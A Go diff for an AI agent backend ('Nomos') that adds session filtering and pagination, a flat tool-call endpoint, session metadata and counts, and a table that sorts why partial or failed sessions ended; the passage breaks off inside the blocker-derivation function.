Compare commits
26 Commits
claude/fro
...
7e1ccad5f4
| Author | SHA1 | Date | |
|---|---|---|---|
| 7e1ccad5f4 | |||
| 89312a9ce4 | |||
| ce0e4142ff | |||
| 873b00ac42 | |||
| b345783eef | |||
| 29d5cb8b85 | |||
| 8f440c5ad5 | |||
| 4e4e2c169c | |||
| c151a66627 | |||
| 1c12d40712 | |||
| 482c7f3448 | |||
| 50aed11cc4 | |||
| ccbf6a8aac | |||
| ef2956619f | |||
| dffe01fb02 | |||
| 0f9e366ad5 | |||
| 052230209c | |||
| e5a81241b7 | |||
| 6b6bfe1fd8 | |||
| ce34cfeac7 | |||
| 55b93c59ef | |||
| eb3d2de1ca | |||
| d82095213a | |||
| 7b1dfbc8aa | |||
| f1cdf4ea13 | |||
| e055a7c6ce |
@@ -11,6 +11,7 @@ import (
|
||||
"net/http"
|
||||
"os"
|
||||
"os/signal"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
@@ -213,6 +214,7 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
w.Header().Set("Content-Type", "text/event-stream")
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Header().Set("Connection", "keep-alive")
|
||||
w.Header().Set("X-Accel-Buffering", "no") // disable proxy buffering
|
||||
w.WriteHeader(200)
|
||||
|
||||
ctx := r.Context()
|
||||
@@ -352,8 +354,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
|
||||
|
||||
// Generate a meaningful title from the assistant's first answer
|
||||
// instead of reusing the raw user message for every session.
|
||||
// P2.9 (2026-07-20): prefer the goal as the title when one is set —
|
||||
// the first assistant text is often a greeting or narrative that
|
||||
// doesn't describe the task ("Hey! 👋 Nomos here, running on
|
||||
// mac-mini:8092..."). The goal is the operator's actual intent.
|
||||
// Sessions that never call set_goal (pure Q&A) fall back to the
|
||||
// assistant text, which is still better than the raw user message.
|
||||
if finalText != "" && sessionID != "ephemeral" {
|
||||
title := truncate(finalText, 80)
|
||||
var goalTitle string
|
||||
if sess, gerr := st.getSession(pctx, sessionID); gerr == nil && sess.Goal != "" {
|
||||
goalTitle = truncate(sess.Goal, 120)
|
||||
}
|
||||
title := goalTitle
|
||||
if title == "" {
|
||||
title = truncate(finalText, 80)
|
||||
}
|
||||
if title != "" {
|
||||
st.updateSessionTitle(pctx, sessionID, title)
|
||||
}
|
||||
@@ -371,13 +386,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||
return
|
||||
}
|
||||
|
||||
sessions, err := st.listSessions(r.Context())
|
||||
// P2.8 (2026-07-20): filtering + pagination. The audit script in
|
||||
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
|
||||
// client-side; "show me partial sessions touching lxc:rclone"
|
||||
// required fetching the full list and filtering in JS. Push the
|
||||
// filters into SQL so the audit becomes a single `curl | jq`.
|
||||
// Supported query params (all optional, composable):
|
||||
// ?outcome=partial|success|failure — exact match on outcome
|
||||
// ?status=active|done|failed|executing — exact match on status
|
||||
// ?entity_id=<uuid> — exact match on entity_id
|
||||
// ?since=<RFC3339 or duration> — last_active_at >= ...
|
||||
// ?blocker=<reason> — exact match on blocker
|
||||
// ?limit=<int> — default 50, max 200
|
||||
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
|
||||
q := r.URL.Query()
|
||||
limit := 50
|
||||
if v := q.Get("limit"); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
|
||||
limit = n
|
||||
}
|
||||
}
|
||||
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
|
||||
Outcome: q.Get("outcome"),
|
||||
Status: q.Get("status"),
|
||||
EntityID: q.Get("entity_id"),
|
||||
Blocker: q.Get("blocker"),
|
||||
Since: q.Get("since"),
|
||||
Cursor: q.Get("cursor"),
|
||||
Limit: limit,
|
||||
})
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
// Next-page cursor: the oldest last_active_at in this page. The next
|
||||
// request passes it as ?cursor=... to get the page before it. Empty
|
||||
// when the list is exhausted.
|
||||
var nextCursor string
|
||||
if len(sessions) > 0 {
|
||||
oldest := sessions[len(sessions)-1].LastActiveAt
|
||||
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
|
||||
if len(sessions) < limit {
|
||||
nextCursor = "" // last page
|
||||
}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"sessions": sessions,
|
||||
"next_cursor": nextCursor,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
||||
@@ -417,6 +475,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
||||
// the context panel when it first opens a task; live events carry deltas
|
||||
// from there.
|
||||
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
|
||||
// session, without the two-level message-shell nesting. The audit at
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
|
||||
// Python to walk messages[].content.tool_calls[]; this endpoint makes
|
||||
// it a single `curl | jq`.
|
||||
if len(parts) == 2 && r.Method == http.MethodGet {
|
||||
switch parts[1] {
|
||||
case "plan":
|
||||
@@ -437,6 +500,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
||||
return
|
||||
case "tool_calls":
|
||||
calls, err := st.getSessionToolCalls(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
@@ -449,14 +521,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
w.WriteHeader(204)
|
||||
|
||||
case http.MethodGet:
|
||||
// getMessages alone can't distinguish "session exists but has no
|
||||
// messages yet" from "session id doesn't exist at all" — it's a
|
||||
// plain WHERE session_id=$1 query that returns zero rows either
|
||||
// way. A frontend window opened for a deleted/invalid session
|
||||
// (persisted layout, a stale link) needs to tell those apart, so
|
||||
// check existence explicitly and 404 rather than silently
|
||||
// returning an empty transcript that looks like a fresh task.
|
||||
if _, err := st.getSession(r.Context(), id); err != nil {
|
||||
// P2.7 (2026-07-20): return BOTH session metadata and messages
|
||||
// from GET /sessions/{id}. Previously this endpoint returned only
|
||||
// {session_id, messages} — the operator had to merge with the
|
||||
// /sessions list view to get title/goal/outcome. The eval harness
|
||||
// at cmd/nomos/eval/main.go:302-303 already carries a comment
|
||||
// about this leaky abstraction. The session field carries the
|
||||
// full metadata: title, goal, outcome, summary, blocker,
|
||||
// pending_approvals, message_count, tool_call_count, etc. The
|
||||
// messages field is unchanged. Clients that only read
|
||||
// `messages` keep working.
|
||||
sess, err := st.getSession(r.Context(), id)
|
||||
if err != nil {
|
||||
if err == pgx.ErrNoRows {
|
||||
http.Error(w, "session not found", 404)
|
||||
return
|
||||
@@ -470,7 +546,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"session_id": id,
|
||||
"session": sess,
|
||||
"messages": messages,
|
||||
})
|
||||
|
||||
default:
|
||||
http.Error(w, "method not allowed", 405)
|
||||
|
||||
@@ -86,18 +86,39 @@ func (s *store) close() {
|
||||
// session is a chat session elevated to a task: goal-structured work with a
|
||||
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
||||
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
||||
//
|
||||
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
|
||||
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
|
||||
// LastActiveAt — the latter is touched on any access (including a UI
|
||||
// transcript view), the former is set ONCE at completion. Without it,
|
||||
// "duration" computed as last_active - created lies for reopened sessions
|
||||
// (a51e2086 reported 4-day duration because the operator reopened it).
|
||||
// Blocker is a short structured reason: approval_timeout,
|
||||
// classifier_overreach, user_abandoned, tool_error, etc. See
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||
type session struct {
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Actor string `json:"actor"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"`
|
||||
Outcome string `json:"outcome,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
EntityID string `json:"entity_id,omitempty"`
|
||||
PendingApprovals int `json:"pending_approvals"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
LastActiveAt time.Time `json:"last_active_at"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Actor string `json:"actor"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"`
|
||||
Outcome string `json:"outcome,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
EntityID string `json:"entity_id,omitempty"`
|
||||
PendingApprovals int `json:"pending_approvals"`
|
||||
Blocker string `json:"blocker,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
LastActiveAt time.Time `json:"last_active_at"`
|
||||
ClosedAt *time.Time `json:"closed_at,omitempty"`
|
||||
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
|
||||
// "how big was this task?" without N+1 transcript fetches. The audit
|
||||
// had to pull every session's full message tree to count tool calls —
|
||||
// ~600 KB of JSON for 10 sessions. With these, the list view is a
|
||||
// single round trip. omitempty so getSession for a brand-new session
|
||||
// with zero activity doesn't emit zeros.
|
||||
MessageCount int `json:"message_count,omitempty"`
|
||||
ToolCallCount int `json:"tool_call_count,omitempty"`
|
||||
DurationSeconds int `json:"duration_seconds,omitempty"`
|
||||
}
|
||||
|
||||
type message struct {
|
||||
@@ -315,14 +336,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
|
||||
}
|
||||
|
||||
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
|
||||
}
|
||||
|
||||
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
|
||||
// (filtering & pagination). All fields optional; empty values are no-ops.
|
||||
// The handler in main.go parses query params into this struct so the SQL
|
||||
// builder here is the single source of truth for what filters exist.
|
||||
type listFilter struct {
|
||||
Outcome string // exact match on outcome (success/partial/failure)
|
||||
Status string // exact match on status (active/done/failed/executing)
|
||||
EntityID string // exact match on entity_id (UUID)
|
||||
Blocker string // exact match on blocker reason
|
||||
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
|
||||
Cursor string // last_active_at < cursor (RFC3339) — page back in time
|
||||
Limit int // default 50, clamped by the handler
|
||||
}
|
||||
|
||||
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.pool.Query(ctx,
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
s.created_at, s.last_active_at
|
||||
if f.Limit <= 0 {
|
||||
f.Limit = 50
|
||||
}
|
||||
// Build the WHERE clause dynamically. We use a single args slice with
|
||||
// $N placeholders to keep pgx happy; the index increments per clause.
|
||||
var (
|
||||
where []string
|
||||
args []any
|
||||
n = 1
|
||||
)
|
||||
if f.Outcome != "" {
|
||||
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
|
||||
args = append(args, f.Outcome)
|
||||
n++
|
||||
}
|
||||
if f.Status != "" {
|
||||
where = append(where, fmt.Sprintf("s.status = $%d", n))
|
||||
args = append(args, f.Status)
|
||||
n++
|
||||
}
|
||||
if f.EntityID != "" {
|
||||
// Accept UUID or string; cast gracefully if invalid.
|
||||
if _, err := uuid.Parse(f.EntityID); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
|
||||
args = append(args, f.EntityID)
|
||||
n++
|
||||
}
|
||||
}
|
||||
if f.Blocker != "" {
|
||||
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
|
||||
args = append(args, f.Blocker)
|
||||
n++
|
||||
}
|
||||
if f.Since != "" {
|
||||
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
|
||||
// Try timestamp first, fall back to duration relative to now.
|
||||
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
|
||||
args = append(args, t)
|
||||
n++
|
||||
} else if d, err := time.ParseDuration(f.Since); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
|
||||
args = append(args, d.Seconds())
|
||||
n++
|
||||
}
|
||||
// Unknown format: silently drop the filter — better than erroring
|
||||
// out and breaking the whole list. Caller can validate if needed.
|
||||
}
|
||||
if f.Cursor != "" {
|
||||
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
|
||||
args = append(args, t)
|
||||
n++
|
||||
}
|
||||
}
|
||||
whereClause := ""
|
||||
if len(where) > 0 {
|
||||
whereClause = "WHERE " + strings.Join(where, " AND ")
|
||||
}
|
||||
args = append(args, f.Limit)
|
||||
limitArg := fmt.Sprintf("$%d", n)
|
||||
|
||||
query := fmt.Sprintf(`
|
||||
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT l.session_id, COUNT(*) AS cnt
|
||||
@@ -331,7 +436,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
WHERE e.status = 'pending_approval'
|
||||
GROUP BY l.session_id
|
||||
) pa ON pa.session_id = s.id
|
||||
ORDER BY s.last_active_at DESC LIMIT 50`)
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
%s
|
||||
ORDER BY s.last_active_at DESC
|
||||
LIMIT %s`, whereClause, limitArg)
|
||||
|
||||
rows, err := s.pool.Query(ctx, query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -342,7 +462,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
var sess session
|
||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, sess)
|
||||
@@ -356,18 +477,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
|
||||
}
|
||||
var sess session
|
||||
err := s.pool.QueryRow(ctx,
|
||||
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
|
||||
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
|
||||
FROM agent_sessions WHERE id = $1`, id).
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
WHERE session_id = $1::uuid
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
AND session_id::uuid = $1::uuid
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
WHERE s.id = $1`, id).
|
||||
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.CreatedAt, &sess.LastActiveAt)
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &sess, nil
|
||||
}
|
||||
|
||||
// recentPartialSessions returns recent sessions (within `since`) whose outcome
|
||||
// is partial or failed, excluding the current session. Used by the set_goal
|
||||
// handler to surface prior unfinished work on the same problem — three
|
||||
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
|
||||
// the classifier because each new session started from scratch. Surfacing the
|
||||
// prior session's goal + summary at set_goal time lets the agent pick up the
|
||||
// thread instead of rediscovering it. See
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
|
||||
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.pool.Query(ctx,
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT l.session_id, COUNT(*) AS cnt
|
||||
FROM nomos_plan_executions l
|
||||
JOIN executions e ON e.entity_id = l.execution_id
|
||||
WHERE e.status = 'pending_approval'
|
||||
GROUP BY l.session_id
|
||||
) pa ON pa.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
WHERE s.id <> $1
|
||||
AND s.last_active_at >= now() - ($2 * interval '1 second')
|
||||
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
|
||||
ORDER BY s.last_active_at DESC
|
||||
LIMIT 10`,
|
||||
excludeSessionID, since.Seconds())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []session
|
||||
for rows.Next() {
|
||||
var sess session
|
||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, sess)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// getMessages returns a session's ENTIRE message history, unbounded — used
|
||||
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
||||
// should be able to see everything a task has done regardless of how long
|
||||
@@ -397,6 +602,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SessionToolCall is the flat view of one tool call as exposed by
|
||||
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
|
||||
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
|
||||
// the caller can decide how to render them (the audit case wanted raw
|
||||
// text sizes, but other callers may want full JSON).
|
||||
type SessionToolCall struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Args json.RawMessage `json:"args,omitempty"`
|
||||
Result json.RawMessage `json:"result,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
|
||||
MessageID string `json:"message_id"`
|
||||
Role string `json:"role"`
|
||||
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// getSessionToolCalls walks a session's messages and returns a flat list of
|
||||
// tool calls in chronological order, without the two-level message nesting.
|
||||
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
|
||||
// write Python to walk messages[].content.tool_calls[]; this method makes
|
||||
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
|
||||
// is emitted as two rows (same id, different Type), preserving the
|
||||
// persisted shape — clients that want the merged shape can group by ID.
|
||||
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
msgs, err := s.getMessages(ctx, sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []SessionToolCall
|
||||
seq := 0
|
||||
for _, m := range msgs {
|
||||
var payload struct {
|
||||
ToolCalls []struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Args json.RawMessage `json:"args"`
|
||||
Result json.RawMessage `json:"result"`
|
||||
Error string `json:"error"`
|
||||
} `json:"tool_calls"`
|
||||
}
|
||||
if err := json.Unmarshal(m.Content, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
for _, tc := range payload.ToolCalls {
|
||||
if tc.ID == "" {
|
||||
continue
|
||||
}
|
||||
seq++
|
||||
out = append(out, SessionToolCall{
|
||||
ID: tc.ID,
|
||||
Name: tc.Name,
|
||||
Args: tc.Args,
|
||||
Result: tc.Result,
|
||||
Error: tc.Error,
|
||||
Type: tc.Type,
|
||||
MessageID: m.ID,
|
||||
Role: m.Role,
|
||||
Seq: seq,
|
||||
CreatedAt: m.CreatedAt,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
||||
// in chronological order, plus whether older messages exist beyond that
|
||||
// window. Used specifically for LLM replay (chatWith): without a bound,
|
||||
@@ -528,7 +804,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||
sessionID)
|
||||
if _, err := s.pool.Exec(ctx,
|
||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
|
||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
|
||||
sessionID, goal); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -809,6 +1085,27 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
||||
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
||||
|
||||
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
|
||||
// doesn't need an update_plan_step(running)→update_plan_step(done)
|
||||
// dance for each step right before completion. Session 8c76bb3a
|
||||
// (greeting + title-sync test) burned 4 update_plan_step calls for a
|
||||
// one-step plan. completeTask is the authoritative terminal — any
|
||||
// step still in pending/running when the task ends is closed (as
|
||||
// "done" for success, "skipped" for partial/failure) so the UI's plan
|
||||
// view doesn't show orphaned running steps on a completed task.
|
||||
// Replaced/cancelled/blocked steps are left alone.
|
||||
closeStatus := "done"
|
||||
if outcome != "success" {
|
||||
closeStatus = "skipped"
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $2, finished_at = COALESCE(finished_at, now())
|
||||
WHERE session_id = $1 AND status IN ('pending', 'running')`,
|
||||
sessionID, closeStatus); err != nil {
|
||||
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
|
||||
}
|
||||
|
||||
// Clean up assent and destructive window keys from autonomy_settings.
|
||||
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
||||
WHERE key LIKE '%:' || $1`, sessionID)
|
||||
@@ -817,9 +1114,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
if outcome == "failure" {
|
||||
status = "failed"
|
||||
}
|
||||
// P1.5 (2026-07-20): derive a structured blocker reason when the
|
||||
// outcome is partial/failed, so trend analysis can answer "why are
|
||||
// sessions failing?" without parsing free-text summaries. Three
|
||||
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
|
||||
// bounced off the classifier; without a blocker field, the *why* was
|
||||
// buried in the last assistant message. The signatures matched here
|
||||
// are the recurring ones from the 2026-07-20 session audit. Empty for
|
||||
// success — that's not a blocker.
|
||||
blocker := ""
|
||||
if outcome != "success" {
|
||||
blocker = deriveBlocker(ctx, s, sessionID, summary)
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
|
||||
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
|
||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
|
||||
blocker = $5, closed_at = now(), last_active_at = now()
|
||||
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
|
||||
return err
|
||||
}
|
||||
var entID uuid.UUID
|
||||
@@ -837,10 +1147,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
||||
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
||||
"cancelled_executions": cancelledCount})
|
||||
"cancelled_executions": cancelledCount, "blocker": blocker})
|
||||
return nil
|
||||
}
|
||||
|
||||
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
|
||||
// reason. Order matters — earlier patterns take precedence. These are the
|
||||
// recurring failure signatures from the 2026-07-20 session audit. A
|
||||
// real-world blocker that doesn't match any of these falls through to
|
||||
// "uncategorized" — better than empty, because empty means "we don't know
|
||||
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
|
||||
var blockerPatterns = []struct {
|
||||
pattern string
|
||||
reason string
|
||||
}{
|
||||
{"queued for approval", "approval_timeout"},
|
||||
{"assent window", "approval_timeout"},
|
||||
{"cancel", "user_abandoned"},
|
||||
{"close this session", "user_abandoned"},
|
||||
{"lets just close", "user_abandoned"},
|
||||
{"classifier flagged", "classifier_overreach"},
|
||||
{"config_mutation", "classifier_overreach"},
|
||||
{"refus", "model_refusal"}, // refuses/refused/refusal
|
||||
{"empty response", "model_empty_response"},
|
||||
{"no local knowledge", "missing_knowledge"},
|
||||
{"can't run", "missing_capability"},
|
||||
{"cannot run", "missing_capability"},
|
||||
{"timeout", "tool_error"},
|
||||
{"error", "tool_error"},
|
||||
}
|
||||
|
||||
// deriveBlocker scans the last assistant message + the summary for known
|
||||
// failure signatures and returns the matching structured reason. Returns
|
||||
// "uncategorized" when outcome is partial/failed but no signature matched —
|
||||
// better than "" because the audit needs to know this WAS blocked, just for
|
||||
// an unknown reason. Returns "" for success outcomes (caller checks first).
|
||||
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
|
||||
// Pull the last assistant text — that's where the agent's parting
|
||||
// words explain why it didn't finish.
|
||||
var lastText string
|
||||
_ = s.pool.QueryRow(ctx, `
|
||||
SELECT content::text FROM agent_messages
|
||||
WHERE session_id = $1 AND role = 'assistant'
|
||||
